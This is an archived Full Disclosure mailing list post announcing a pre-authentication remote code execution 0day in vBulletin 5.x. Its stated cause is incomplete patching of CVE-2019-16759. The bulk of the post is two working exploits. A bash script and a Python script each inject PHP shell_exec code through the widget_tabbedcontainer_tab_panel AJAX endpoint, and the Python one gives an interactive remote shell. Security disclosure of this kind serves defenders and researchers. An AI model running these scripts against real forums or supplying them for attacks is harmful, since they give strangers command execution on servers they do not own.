Full Disclosure mailing list archives

From: Zenofex via Fulldisclosure <fulldisclosure () seclists org>
Date: Sun, 9 Aug 2020 16:58:27 -0500

vBulletin 5.5.4 through 5.6.2 are vulnerable to a remote code execution vulnerability caused by incomplete patching of the previous “CVE-2019-16759” RCE. This logic bug allows for a single pre-auth request to execute PHP code on a target vBulletin forum.

More info can be found at: https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/

Exploits below.

Thank you, Zenofex

BASH Exploit:

#!/bin/bash

vBulletin (widget_tabbedcontainer_tab_panel) 5.x 0day by @Zenofex

Usage ./exploit <site> <shell-command>

Urlencode cmd

CMD=`echo $2|perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"’`

Send request

curl -s $1/ajax/render/widget_tabbedcontainer_tab_panel -d ‘subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20shell_exec(“’+$CMD+’”);exit;’

Python Exploit:

#!/usr/bin/env python3

vBulletin 5.x pre-auth widget_tabbedContainer_tab_panel RCE exploit by

@zenofex

import argparse import requests import sys

def run_exploit(vb_loc, shell_cmd): post_data = {’subWidgets[0][template]' : 'widget_php’, 'subWidgets[0][config][code]' : “echo shell_exec(‘%s’); exit;” % shell_cmd} r = requests.post(‘%s/ajax/render/widget_tabbedcontainer_tab_panel’ % vb_loc, post_data) return r.text

ap = argparse.ArgumentParser(description=’vBulletin 5.x Ajax Widget Template RCE’) ap.add_argument('-l’, ‘–location’, required=True, help=’Web address to root of vB5 install.’) ARGS = ap.parse_args()

while True: try: cmd = input("vBulletin5$ ") print(run_exploit(ARGS.location, cmd)) except KeyboardInterrupt: sys.exit(“\nClosing shell…”) except Exception as e: sys.exit(str(e))

_______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/

Current thread:

• Remote Code Execution 0day in vBulletin 5.x Zenofex via Fulldisclosure (Aug 11)